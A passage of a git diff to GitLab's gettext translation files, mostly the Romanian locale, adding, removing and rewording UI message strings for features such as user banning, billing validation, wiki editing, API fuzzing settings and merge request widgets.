msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Enviar ficheiro"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "Enviar mapa de objetos"
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr "já foi compartilhado com este grupo"
-msgid "among other things"
-msgstr "entre outras coisas"
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index 88c709466c1..0d4d489a0de 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:09\n"
+"PO-Revision-Date: 2021-06-01 20:17\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -304,6 +304,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -619,9 +625,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -724,10 +727,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -868,6 +871,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -919,9 +928,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1042,9 +1048,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1108,9 +1120,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1468,6 +1477,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1489,6 +1501,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1558,9 +1573,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1573,6 +1585,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1618,9 +1633,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1660,30 +1672,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1699,7 +1705,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1726,6 +1732,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1993,6 +2008,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2269,6 +2287,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2434,9 +2455,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2476,9 +2491,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2524,6 +2536,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2542,6 +2557,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2590,6 +2608,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2620,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2674,6 +2710,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2755,6 +2794,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2770,6 +2818,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2782,6 +2836,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2806,6 +2863,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2818,6 +2878,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2863,9 +2926,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2905,9 +2965,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3277,9 +3334,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3382,6 +3436,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3595,6 +3652,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3688,9 +3748,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3760,7 +3817,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4237,6 +4294,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4267,16 +4327,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4858,7 +4915,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4927,6 +4984,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5083,6 +5143,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5101,6 +5164,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5116,6 +5182,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5134,6 +5203,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5149,6 +5221,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5161,6 +5254,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5170,6 +5266,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5401,6 +5503,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5413,6 +5518,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5422,6 +5530,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
